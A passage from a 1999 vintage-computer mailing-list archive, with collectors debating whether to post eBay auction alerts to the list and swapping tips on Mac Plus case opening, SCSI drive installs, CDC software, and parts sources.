is a HOBBY done because we enjoy it. Agreed. And part of the fun is finding bargains, right? Let's assume that you find most of your bargains at swap meets. How would you like it if I decided it would be fun to visit the same swap meet you frequent, and announce all of the bargains I find over a bull horn and cell phone? I'm sure the sellers would love it, but my guess is that you might not have the same amount of fun as you otherwise might. -- Doug From ard at p850ug1.demon.co.uk Wed Jan 20 12:51:14 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:20 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <199901201430.OAA09759@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 20, 99 03:30:53 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1026 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/b16a230f/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 20 12:30:12 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:20 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <3.0.1.16.19990120085148.45df727a@intellistar.net> from "Joe" at Jan 20, 99 08:51:48 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 808 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/f622347e/attachment.ksh From rhblake at bigfoot.com Wed Jan 20 13:55:52 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:20 2005 Subject: Is again re: PDP-8 on e-bay References: Message-ID: <36A634C6.8F8BD32B@bigfoot.com> I hate to bring this up again, but has anyone seen the present bid compared to the start bid, and where the high bidder is from, Association for Computing Machinery (acm.org)?? I must have missed the original thread on this but it seems a bit high for a :kind of beat up and working condition unknown" machine. How "rare" are the PDP-8's Seems I see a lot of traffic about them here, they can't be *that* rare. Sam Ismail wrote: > On Wed, 20 Jan 1999, Marvin wrote: > > > Mike wrote: > > > > > > > > > Ok, maybe its just me. I'm a conniving, sniviling, wheez who would probably > > > step on my own mother to get at a cool computer (on my good days) and I > > > spend alot of time raking though the ebayish trash to come across something > > > tastey in a dark passed over corner of the sale. And just when you think > > > you got a line on something, some damn smaraitan decides to post a > > > billboard.... (no offense) > > > > > > > Well as you might have guessed, I totally disagree with that viewpoint. > > When I notice someone from the list bidding, I generally have passed on > > putting it up here. ***BUT*** I have also seen a number of instances where > > a given listmember was not willing to bid at the prices the items were going > > for, and perhaps another listmember would have been willing to bid higher. > > Cases like that are changing my mind as to letting listmembers know when I > > find something *I* think is interesting. > > > > The reasons for collecting have been already discussed on this list a number > > of times, but it is worthwhile trying to remember that for most of us, this > > is a HOBBY done because we enjoy it. > > And of course if one spent one's time doing their homework and searching > the internet in places OTHER THAN ebay one would eventually turn up the > computers one wants at a price that would make the effort well worth it! > > Sellam Alternate e-mail: dastar@siconic.com > ------------------------------------------------------------------------------ > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] From marvin at rain.org Wed Jan 20 14:03:23 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:20 2005 Subject: C-64 Stuff References: Message-ID: <36A6368B.38BE7FA5@rain.org> Right now, I have 3 non-working C-64s plus some parts with a few more (I think at least two more) to be added. I hate throwing stuff like this out, but when stuff starts encroaching on the kitchen table for more than a few hours, my wife starts to object :)! Anyone who wants this stuff is welcome to it for the cost of shipping. From jfoust at threedee.com Wed Jan 20 13:59:11 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:20 2005 Subject: Heathkit H11 (was Re: Unibus boards for trade In-Reply-To: References: <199901191806.NAA17926@user2.infinet.com> Message-ID: <3.0.5.32.19990120135911.00d1d2f0@pc> At 01:47 AM 1/20/99 -0500, Doug wrote: > >Is there an online resource that has a definitive list of DEC modules and >their descriptions? DEC Module Database at . - John From jfoust at threedee.com Wed Jan 20 13:55:46 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:20 2005 Subject: Kaypros and Osbornes In-Reply-To: <199901200327.WAA03397@pechter.nws.net> References: <3.0.1.16.19990119224458.3067edb6@intellistar.net> Message-ID: <3.0.5.32.19990120135546.00cfa820@pc> At 10:27 PM 1/19/99 -0500, Bill Pechter wrote: >> I wonder if that's the Gemini that is/was here in Orlando? They were >> doing lots of that kind of stuff in the mid '80s. > >I think Ft. Lauderdale... ModComp has an office in Lauderdale, too, no? - John From jfoust at threedee.com Wed Jan 20 14:02:27 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:20 2005 Subject: Disasters and Recovery In-Reply-To: References: <36A3ACA0.2FD48AD6@cnct.com> Message-ID: <3.0.5.32.19990120140227.00d1e390@pc> At 09:31 AM 1/20/99 -0500, William Donzelli wrote: >> > What makes some of today's technology fragile is simply the density, or >> > equivalenty, the lack of redundancy in a given area. > >Take a look at the specification for how CDs are formatted. You may be >suprised to find out that a good chunck (more than just a few percent) is >dedicated to error correction! That is why you do not hear all of the >scratches in poorly handled CDs. Well, hearing an error on an audio CD might be difficult. If cost is no object, you could have the data pressed to a mastered CD, as opposed to burning a CD-R at home. The "real" aluminum mastering process entails a "glass master" that might last longer than the aluminum foil version. Are there any CD mastering plants that give you an option of true gold foil, to avoid oxidation? - John From ckaiser at oa.ptloma.edu Wed Jan 20 14:16:17 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:20 2005 Subject: C-64 Stuff In-Reply-To: <36A6368B.38BE7FA5@rain.org> from "Marvin" at Jan 20, 99 12:03:23 pm Message-ID: <199901202016.MAA09256@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 833 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/7b464aeb/attachment.ksh From marvin at rain.org Wed Jan 20 14:12:26 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:20 2005 Subject: Ebay notices, was re: PDP-8 on e-bay References: Message-ID: <36A638AA.4781DD58@rain.org> Doug wrote: > > On Wed, 20 Jan 1999, Marvin wrote: > > > The reasons for collecting have been already discussed on this list a > > number of times, but it is worthwhile trying to remember that for most > > of us, this is a HOBBY done because we enjoy it. > > Agreed. And part of the fun is finding bargains, right? Let's assume > that you find most of your bargains at swap meets. How would you like it > if I decided it would be fun to visit the same swap meet you frequent, and > announce all of the bargains I find over a bull horn and cell phone? > > I'm sure the sellers would love it, but my guess is that you might not > have the same amount of fun as you otherwise might. I understand there is more than a little competition for that stuff at some of the bay area swap meets and perhaps that is where your philosophy comes from. I've missed some spectacular bargains at similar swap meets, but I also know the stuff went to good homes. When I first started collecting, I might have had the same philosophy, but time has taught me that the real bargains come through my contacts, not ebay. Most people who know me realize I am not in this thing for money but rather attempting to keep as much as I can from hitting that great dumpster in the sky. A side benefit is helping other collectors. From spc at armigeron.com Wed Jan 20 14:12:51 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:20 2005 Subject: Kaypros and Osbornes In-Reply-To: <3.0.5.32.19990120135546.00cfa820@pc> from "John Foust" at Jan 20, 99 01:55:46 pm Message-ID: <199901202012.PAA17465@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 757 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/fc17147f/attachment.ksh From joe at barrera.org Wed Jan 20 14:16:21 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:20 2005 Subject: Is again re: PDP-8 on e-bay Message-ID: <02e301be44b1$bf5d8570$11d53d9d@JOEBAR> >I hate to bring this up again, but has anyone seen the present bid compared to the >start bid, and where the high bidder is from, Association for Computing Machinery >(acm.org)?? I must have missed the original thread on this but it seems a bit high >for a :kind of beat up and working condition unknown" machine. How "rare" are the >PDP-8's Seems I see a lot of traffic about them here, they can't be *that* rare. I'm joebar@acm.org. I know, I'm stupid, but it was just sort of an impulse kind of thing. I don't know what the start bid was, but I just somehow entered a bid a little higher than the reserve. I was thinking, "how much did I spend last year on that dumb P5-166 box", and used that as a figure, given that the PDP-8 undoubtably has greater long term value than the P5-166. (Isn't rationalization wonderful? :-) - Joe From todd.osborne at barnstormer-software.com Wed Jan 20 14:24:47 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:40:21 2005 Subject: C-64 Stuff In-Reply-To: <199901202016.MAA09256@oa.ptloma.edu> Message-ID: <000f01be44b2$ec503720$01646464@codewarrior.fmstrategies.com> I would LOVE to pay shipping for your stuff. I need some parts badly :) Still have it? Todd > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Cameron Kaiser > Sent: Wednesday, January 20, 1999 3:16 PM > To: Discussion re-collecting of classic computers > Subject: Re: C-64 Stuff > > > ::Right now, I have 3 non-working C-64s plus some parts with a few more (I > ::think at least two more) to be added. I hate throwing stuff > like this out, > ::but when stuff starts encroaching on the kitchen table for more > than a few > ::hours, my wife starts to object :)! Anyone who wants this > stuff is welcome > ::to it for the cost of shipping. > > Do you have a MOS 8564 in that mess of chips? That's the VIC-II in the 128 > series. > > -- > -------------------------- personal page: > http://calvin.ptloma.edu/~spectre/ -- > Cameron Kaiser > Information Technology Services Database Programmer > Point Loma Nazarene University Fax: > +1 619 849 2581 > ckaiser@ptloma.edu Phone: > +1 619 849 2539 > -- "The ants are my friends/They're blowing in the wind" > ---------------------- > From bill at chipware.com Wed Jan 20 14:25:39 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:21 2005 Subject: Wirehead Prime?? Message-ID: <000001be44b3$0bb15b80$bb88e9cf@yamato.chipware.com> Does anybody know what happened to Anthony Clifton (Wirehead Prime)? I was going to buy his OSI. He hasn't replied to any of my email or posted to classiccmp since before Christmas. Bill Sudbrink From go at ao.com Wed Jan 20 14:30:23 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:21 2005 Subject: Looking for pointers to old Control Data software In-Reply-To: <3.0.5.32.19990120140227.00d1e390@pc> References: <36A3ACA0.2FD48AD6@cnct.com> Message-ID: <4.1.19990120122052.034d0160@office.ao.com> I've just (mostly) finished an emulator for a Control Data lower 3000 (CDC-3300 and CDC-3500) system (circa 1966) and am using it to play with an old operating system developed at Oregon State University in the late 60's and early 70's. Mostly it seems to run ok, so I'm looking to expand my test sphere. Does anyone on this list have pointers to old Control Data software, specifically 7 track tapes (yes I can read these) and possibly documentation (though I do have many of the old user manuals.) Specifcally I'm looking for the following operating system: MASTER Control Data multiprogramming "real time" operating system. Support limited timesharing with users submitting "jobs" from terminals. MSOS A "mass storage" simple OS (more like CP/M except spool printing) SCOPE A "tape based" system even simpler than MSOS Any Diagnostic tapes would be helpful as well. I'd be happy to copy and return (and in a newer media format) any such items. I've tried contacting the lastest version of CDC and they offer no help whatsoever. Even refused to allow me to release copies of any of their old manuals "for liability reasons." (don't get me started!) Thanks, Gary From doug at blinkenlights.com Wed Jan 20 14:34:20 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay In-Reply-To: <36A638AA.4781DD58@rain.org> Message-ID: On Wed, 20 Jan 1999, Marvin wrote: > I understand there is more than a little competition for that stuff at some > of the bay area swap meets and perhaps that is where your philosophy comes > from. I've missed some spectacular bargains at similar swap meets, but I > also know the stuff went to good homes. When I first started collecting, I > might have had the same philosophy, but time has taught me that the real > bargains come through my contacts, not ebay. Most people who know me > realize I am not in this thing for money but rather attempting to keep as > much as I can from hitting that great dumpster in the sky. A side benefit > is helping other collectors. That's what makes your actions even more ludicrous to those of us who do buy stuff on ebay -- the guy at the swap meet with the bull horn is not there to buy or sell, he just came to advertise using his bull horn! Ebay advertises their service nationally, and they have a $10 billion market cap to draw from. I don't think they need your help. If your only concern is that every orphaned computer find a home, then I think the only right thing for you to do is to make sure that every one of the contacts from whom you get your old computers has the name and phone number of everybody on this list just in case you're out of town when they call. You expressed concern when you found that somebody was willing to pay a higher price than a closing bid. Did you have that same concern when you paid a few dollars for an Altair or an IBM 5100? -- Doug From heavy at ctesc.net Wed Jan 20 13:41:14 1999 From: heavy at ctesc.net (Jim Weiler) Date: Sun Feb 27 18:40:21 2005 Subject: mac tool In-Reply-To: References: <199901200202.UAA14710@thufir.cs.umn.edu> Message-ID: >>You need a T-10 Torx wrench with a long handle. I found one at Sears. As >>for cracking it open, I'm using a welding clamp (don't laugh), I put the >>tip into the crack and then open the clamp up, cracks them right open (once >>all the screws have been removed). >Actually a T-15. I had at least a dozen of them specifically made for this >kind of thing, but I haven't been able to find them. Not that they are >needed... Find one of those nice screwdriver kits with the torx bits and >the extensions(make sure they're skinny enough to fit in there with the >screw). Works fine for me. To get the case open I usually use a >screwdriver(don't do that if you like having a spotless case), or sometimes >they're loose enough to just pull apart(that doesn't happen very often). I usually just grab on the sides and pull suddenly. The inertia/shock usually separates them. The welding clamp works the same as the "Special Tool." > >>Let me get this right, you want to put an internal HD in a Mac Plus?!?! >>Somehow I really don't think that's possible. They're ment to use an >>external drive. >It can be done, but not easily. You need some interesting brackets, I think >they usually stick them sideways against the case above and behind the >floppy drive, or maybe the ones that just push it back a few inches but >mounts to the floppy drive bracket(I've used them in an SE, not sure if >they would fit in a Plus). And of course you have to get the SCSI and power >cables hooked up. Not sure about the power(I think I've seen some splitter >cables off of the logic board connector for this function), but the SCSI >needs to be hooked up out side and somehow ends up inside, either through a >slot cut into the case or if you want it a bit uglier, you can figure out >how to get it through the battery holder. You're right about not easily, on the SCSI cabling. I did this with a 4-meg RAM MacPlus, once, and my solution was to cut an extra port through the back, above the MacPlus's external SCSI port, mount a male DB-25 through the new port, and put together a female-to-male connector externally, with an extra DB-25 female between the two, facing outward for adding external SCSI devices. Pay attention to pin 1 on the short external cable (it comes out upside-down, I think). For power, the MacPlus's power supply is adequate, but I recommend beefing it up as per Larry Pina's "The Dead Mac Scrolls" or one of his other books (I forget the name). The hard drive I used was a 3.5-inch low-profile, and I mounted it on top of the floppy housing, slightly back to avoid the monitor tube. You have to make the internal cable, also, yourself (or at least, I did). I was worried about temperature, also, so I mounted a 2" fan on the right side, and drilled a pattern of holes on the right side for air passage. It worked out to quite an elegant solution, that I was proud of; it was nice, being able to carry it around as a single package, with the handle. I ran a BBS, off of it. I gave the unit to a girlfriend, whom I met during my first Internet experience, on AOL (Hey! It was my finest computer!). I think the HD was, like, about 120 megs, but you could easily put a 1 gig drive in (or larger), these days, if you think you need it. Internal drive is terminated, as is the last external device on the chain. External Interface Cable: Added __ female port | Female DB-25 __| | <---------ribbon cable connectors & cable |__ (press together in vice) | Male DB-25 for external SCSI |__ | Original __| male port | Male DB-25 __| Having more time to spare than money, I made all the parts I needed to mount/connect the pieces together myself. -Jim ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ "No one has ever accused Apple customers of following the crowd. After all, they use the computer that leads the pack." ? Apple Computer "The surest way to corrupt a youth is to teach him to hold in higher regard those who think alike than those who think differently." -Nietzsche ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ mailto:heavy@ctesc.net Jim Weiler mailto:native-sun@usa.net http://home.talkcity.com/HardDiskDr/YaCCCht/index.html http://home.talkcity.com/TechnologyWay/heavyside/index.html ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ From rhblake at bigfoot.com Wed Jan 20 15:34:06 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:21 2005 Subject: Twinaxial pins needed Message-ID: <36A64BCE.2EF2958C@bigfoot.com> Anyone know a good source for bulk crimp pins used in the Amphenol (and other brand) twinaxial connectors used in networks? I need to get a handful for the inevitable repairs that come up at work and a few cents each for two pins and recutting the coax is better than $8 and up for each for a new connector set, just to use the pins. Thanks for any leads you might have. From cfandt at netsync.net Wed Jan 20 15:38:54 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:21 2005 Subject: WTB: Motorola MVMEbus module manuals Message-ID: <4.1.19990120163228.00b00b60@206.231.8.2> I'm in search of several manuals for some Motorola MVME boards I have. Please reply if you have any available for me to purchase. MVME 236-1,2,3 (Publication number MVME 236-1 Dx ) MVME 133-1 ( " " MVME 133-1 Dx ) Support Docs: SIMVME133-1 MVME 134 ( " " MVME 134 Dx ) Support Docs: SIMVME134 and finally the Support Documentation (schematics, etc.) for an MVME147S which is publication number SIMVME147S. Thanks for your help! Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From steverob at hotoffice.com Wed Jan 20 15:37:21 1999 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay Message-ID: <01BE4493.274BE880.steverob@hotoffice.com> OK.. I guess I'll have to appologize for starting this flame war. Of the lists that I subscribe to, this one has always impressed me by how cooperative and sharing the members are. Every single day I see members donating their time, effort, knowledge, and hardware to promote the hobby of collecting computers. Unfortunately, It's threads like this that kill the spirit of the group. In my own defense, I'd like to say: I am not a "conniving, sniviling, wheez who would probably step on my own mother to get at a cool computer". I don't think most of the other members would either. I hope anyone that does, gets exactly what they want! Secondly, I'm not just the guy with the bull horn. Just check the bidding history on the SOL and see who the first bidder was! I posted it in the group because, someone here might want it more than me. If they do, then so be it... If you check any of those listings you'll see they have really obscure terms like "computer" in the description. Now, if that's hidden in a dark corner where it'll get overlooked, then I'll eat my hat. Thirdly, there have been a number of times that I have intentionally skipped a bid when I knew that a member of this group was bidding on an item. IE: The "Ohio Scientific" thingy that Andrew Davies was looking at a couple of weeks ago. Sure I'd like to have it but, I wouldn't bid against someone that REALLY appreciates it. Fourthly, I for one am willing to share my good fortune with the other members. I'd much rather see something from my collection go to someone in this group that anywhere else. When I decide to get rid of something, you'll (group) be the first to know. Also, I don't think this set any kinda precedent. I've seen plenty of similar messages. Finally, I really do appologize. If I had realized that it would be taken so personally, I would have never posted it. Steve Robertson - -----Original Message----- From: Doug [SMTP:doug@blinkenlights.com] Sent: Wednesday, January 20, 1999 3:34 PM To: Discussion re-collecting of classic computers Subject: Re: Ebay notices, was re: PDP-8 on e-bay On Wed, 20 Jan 1999, Marvin wrote: > I understand there is more than a little competition for that stuff at some > of the bay area swap meets and perhaps that is where your philosophy comes > from. I've missed some spectacular bargains at similar swap meets, but I > also know the stuff went to good homes. When I first started collecting, I > might have had the same philosophy, but time has taught me that the real > bargains come through my contacts, not ebay. Most people who know me > realize I am not in this thing for money but rather attempting to keep as > much as I can from hitting that great dumpster in the sky. A side benefit > is helping other collectors. That's what makes your actions even more ludicrous to those of us who do buy stuff on ebay -- the guy at the swap meet with the bull horn is not there to buy or sell, he just came to advertise using his bull horn! Ebay advertises their service nationally, and they have a $10 billion market cap to draw from. I don't think they need your help. If your only concern is that every orphaned computer find a home, then I think the only right thing for you to do is to make sure that every one of the contacts from whom you get your old computers has the name and phone number of everybody on this list just in case you're out of town when they call. You expressed concern when you found that somebody was willing to pay a higher price than a closing bid. Did you have that same concern when you paid a few dollars for an Altair or an IBM 5100? -- Doug From Jgzabol at aol.com Wed Jan 20 15:38:59 1999 From: Jgzabol at aol.com (Jgzabol@aol.com) Date: Sun Feb 27 18:40:21 2005 Subject: y2k stuff Message-ID: <80e0bd7a.36a64cf3@aol.com> You might look at the Charles Babbage Institute http://www.cbi.umn.edu They have a lot of stuff and are willing to copy at $.25 per page. John G. Zabolitzky From cmcmanis at freegate.com Wed Jan 20 15:54:34 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <01be449f$485d1060$eac962cf@devlaptop> Message-ID: <4.1.19990120134715.00ad9760@mailhost.hq.freegate.com> > [edited out for brevity] > Get OVER it guys and gals. Computers have developed collector value, the price will only go up until the demand is satisfied. Take a look at the number of zillionaire engineers created in the Bay Area and Redmond area alone over the last 5 years. These geeks are seriously into their retro throes and they have money to satisfy their urges. Look at it on the bright side, when you find a PDP-8 sitting in a dumpster in boston you can see, "WOW! Not only is this really cool, its worth some real bux! Boy is today my lucky day." Used to be it was just a cool toy. Its perfectly understandable to be depressed over the inevitable inflation given the collectible value but that is like a Van Gogh owner complaining that you can't buy them for $20 anymore. However, its a bit rude to call people names because they "let some people know" of an available system. --Chuck From rhblake at bigfoot.com Wed Jan 20 15:49:53 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:21 2005 Subject: mac tool References: <199901200202.UAA14710@thufir.cs.umn.edu> Message-ID: <36A64F80.C52BFB8C@bigfoot.com> Lawrence LeMay wrote: > Does anyone know where I can get the tool you need to use to crack open > teh case of an old MacIntosh? I seem to recall that in addition to > special torx tools, probably one with an extra long shaft, that you needed > something to pop the case open... > > I'd like to upgrade the tiny hard drive in a mac se, and maybe in a mac plus > 1 Meg, to use a 250 meg scsi drive. > > Any idea if these units will run system 7? > > -Lawrence LeMay As others have said, use a T15 Torx in a long handle. MCM Electronics had some cheap "Mac Cracker" tools that were essentially a T15 Torx screwdriver with a long shaft for a while, they still may. I bought a log handled bit holder from them and use any bit I need but you need to be wary of the magnetic bit holder, especially when working near your floppies. I sat my bit holder down once on my PS/2 25 reference disk and you know what happened. Fortunately (at that time before internet) IBM had the files to make a new disk for free on their BBS. From rhblake at bigfoot.com Wed Jan 20 15:56:07 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:21 2005 Subject: RS-6000 external cables, new - no second mrtgage req'd Message-ID: <36A650F6.D7F8E897@bigfoot.com> Dalco has RS-6000 cables that have the IBM mini 60 centronics to an SCSI 50 centronics now for $18.50 instead of the usual $45 each or more. You can see the item at http://www.dalco.com/cgi-bin/nph-tame.exe/dalco/conpin.tam?cart=99A20yke.hav&lpg=/dalco/search2.tam&lpt=916865235&anchor=#P57520 or use the search and search for item 57520. My understanding is that they are a slight backorder though, but worth the wait if you want to use that PS/2 with external SCSI units. I may actually get my 8595/XP server online again, this time with my cdroms. From doug at blinkenlights.com Wed Jan 20 16:02:12 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay In-Reply-To: <01BE4493.274BE880.steverob@hotoffice.com> Message-ID: On Wed, 20 Jan 1999, Steve Robertson wrote: > Fourthly, I for one am willing to share my good fortune with the other > members. I'd much rather see something from my collection go to someone in > this group that anywhere else. When I decide to get rid of something, > you'll (group) be the first to know. Many of us feel the same, but that's not the same thing as advertising something somebody else is auctioning using a vehicle other than this list. > Also, I don't think this set any kinda precedent. I've seen plenty of > similar messages. Most of the messages came from Marvin, who seems to take a special pride in this particular activity, and that's why my flamethrower was pointed at him. > Finally, I really do appologize. If I had realized that it would be taken > so personally, I would have never posted it. No appology neeed; I just wanted to remind the good samaritans that these specific actions "harm" as many list members as they help. Don't most do-gooders take some oath that states "and above all, do no harm"? Online auctions are special cases because the prize doesn't go to the first person who finds it, it goes to the guy that pays the most at the end. If you advertise something from Usenet, for example, you don't risk pissing off somebody who was quietly hanging around hoping to grab the thing. -- Doug From sunmoon at rmi.com Wed Jan 20 16:03:23 1999 From: sunmoon at rmi.com (Sunbear) Date: Sun Feb 27 18:40:21 2005 Subject: PERFEX Machine??? Message-ID: <011401be44c0$c2163f00$92265da6@default> Hello! I thought this would be the best place to ask about a PERFEX machine... I am wandering what it is??? I have searched everywhere else and I found some info that says its a Computer that helps in Diagnosis of Heart problems.. ??? But this thing is not at all like the one they explain.. Any info?? Thanx Michael Sunbear(*) From lemay at cs.umn.edu Wed Jan 20 16:08:21 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <4.1.19990120134715.00ad9760@mailhost.hq.freegate.com> from Chuck McManis at "Jan 20, 1999 01:54:34 pm" Message-ID: <199901202208.QAA27143@thorin.cs.umn.edu> > > > [edited out for brevity] > > > > Get OVER it guys and gals. Computers have developed collector value, the > price will only go up until the demand is satisfied. Take a look at the > number of zillionaire engineers created in the Bay Area and Redmond area > alone over the last 5 years. These geeks are seriously into their retro > throes and they have money to satisfy their urges. > > [edited out for brevity] Hmm.. Now maybe someone will finally offer me some serious cash for a Sun 1/100U ... Only about 700 were ever made, before Sun Microsystems started making the Sun 2 series... Though personally I'd like to see one on display in a real computer museum someday... -Lawrence LeMay From doug at blinkenlights.com Wed Jan 20 16:12:20 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:21 2005 Subject: Sun 1 (was Re: RANT Re: PDP-8 on e-bay In-Reply-To: <199901202208.QAA27143@thorin.cs.umn.edu> Message-ID: On Wed, 20 Jan 1999, Lawrence LeMay wrote: > Hmm.. Now maybe someone will finally offer me some serious cash for a > Sun 1/100U ... Only about 700 were ever made, before Sun Microsystems > started making the Sun 2 series... Oh, me me! > Though personally I'd like to see one on display in a real computer > museum someday... TCM/HC has the desktop version, but I don't remember if they have the rackmount version. -- Doug From marvin at rain.org Wed Jan 20 16:19:15 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay References: Message-ID: <36A65663.B4D5DF23@rain.org> Doug wrote: > > That's what makes your actions even more ludicrous to those of us who do > buy stuff on ebay -- the guy at the swap meet with the bull horn is not > there to buy or sell, he just came to advertise using his bull horn! > > Ebay advertises their service nationally, and they have a $10 billion > market cap to draw from. I don't think they need your help. If your only > concern is that every orphaned computer find a home, then I think the only > right thing for you to do is to make sure that every one of the contacts > from whom you get your old computers has the name and phone number of > everybody on this list just in case you're out of town when they call. Doug, we have a *major* difference of opinion here, and it is leading nowhere. Sorry you are bent out of shape about it. Also just in case you are not aware, personal contacts are something that take time, trust, and common interests to develop. > You expressed concern when you found that somebody was willing to pay a > higher price than a closing bid. Did you have that same concern when you > paid a few dollars for an Altair or an IBM 5100? You need to remind me of when and what that concern was all about as nothing comes to mind. As far as the 5100, when I found out what the IBM 5100 might be worth, I offered it back to the person who gave it to me along with my reasons. She told me to keep it anyway. Re: the Altairs, I got them back when people were tossing them to clear out the garage; a totally different situation. From lemay at cs.umn.edu Wed Jan 20 16:24:04 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:21 2005 Subject: Sun 1 (was Re: RANT Re: PDP-8 on e-bay In-Reply-To: from Doug at "Jan 20, 1999 05:12:20 pm" Message-ID: <199901202224.QAA27296@thorin.cs.umn.edu> > On Wed, 20 Jan 1999, Lawrence LeMay wrote: > > > Hmm.. Now maybe someone will finally offer me some serious cash for a > > Sun 1/100U ... Only about 700 were ever made, before Sun Microsystems > > started making the Sun 2 series... > > Oh, me me! > > > Though personally I'd like to see one on display in a real computer > > museum someday... > > TCM/HC has the desktop version, but I don't remember if they have the > rackmount version. > > -- Doug > This is the desktop version. And just to make you drool... I have THREE of them.. Plus a monitor that would go with the rackmount version (but I dont have the rackmount version, could have had it if I had a bigger apartment). And about CBI (Charles Babage Institute)... I used to go over there last year to work on their printers and such. I realy should go over there sometime and see what they have in the way of Terak documentation. -Lawrence LeMay From marvin at rain.org Wed Jan 20 16:25:34 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay References: <01BE4493.274BE880.steverob@hotoffice.com> Message-ID: <36A657DE.5B887E8C@rain.org> Steve Robertson wrote: > > OK.. I guess I'll have to appologize for starting this flame war. > > Of the lists that I subscribe to, this one has always impressed me by how > cooperative and sharing the members are. Every single day I see members > donating their time, effort, knowledge, and hardware to promote the hobby > of collecting computers. Unfortunately, It's threads like this that kill > the spirit of the group. Steve, most of us are a vocal bunch and have a fair number of opinions on just about anything you would care to bring up. No apologies are necessary as I too would have posted that to the list if I had seen it first. I've been in and seen enough flame wars to know this too shall pass (although this would be considered a very *tame* flamewar!) In spite of Doug being rather vocal, he is an okay guy and entitled to his opinions ... as are we! From cmcmanis at freegate.com Wed Jan 20 16:36:39 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <199901202208.QAA27143@thorin.cs.umn.edu> References: <4.1.19990120134715.00ad9760@mailhost.hq.freegate.com> Message-ID: <4.1.19990120143043.00af6720@mailhost.hq.freegate.com> >Hmm.. Now maybe someone will finally offer me some serious cash for a >Sun 1/100U ... Only about 700 were ever made, before Sun Microsystems >started making the Sun 2 series... Easily as much as an Altair of today in 5 years or so. In spite of their being second (I know I worked their nearly 10 years) they are "perceived" as being the inventor of the workstation. (Apollo had that distinction) They certainly made more money of UNIX systems than any other company in history. Given their current influence in the sphere of the Internet and the impact of the Internet on society and the number of engineers who "cut their teeth" on Sun machines who will be flush with cash, it would not suprise me in the least if you could get $10,000 for it in 5 to 7 years. (Others might tell you that selling it for more than $50 + postage is a crime against nature but don't listen to 'em) --Chuck From doug at blinkenlights.com Wed Jan 20 16:40:56 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay In-Reply-To: <36A65663.B4D5DF23@rain.org> Message-ID: On Wed, 20 Jan 1999, Marvin wrote: > Doug, we have a *major* difference of opinion here, and it is leading > nowhere. 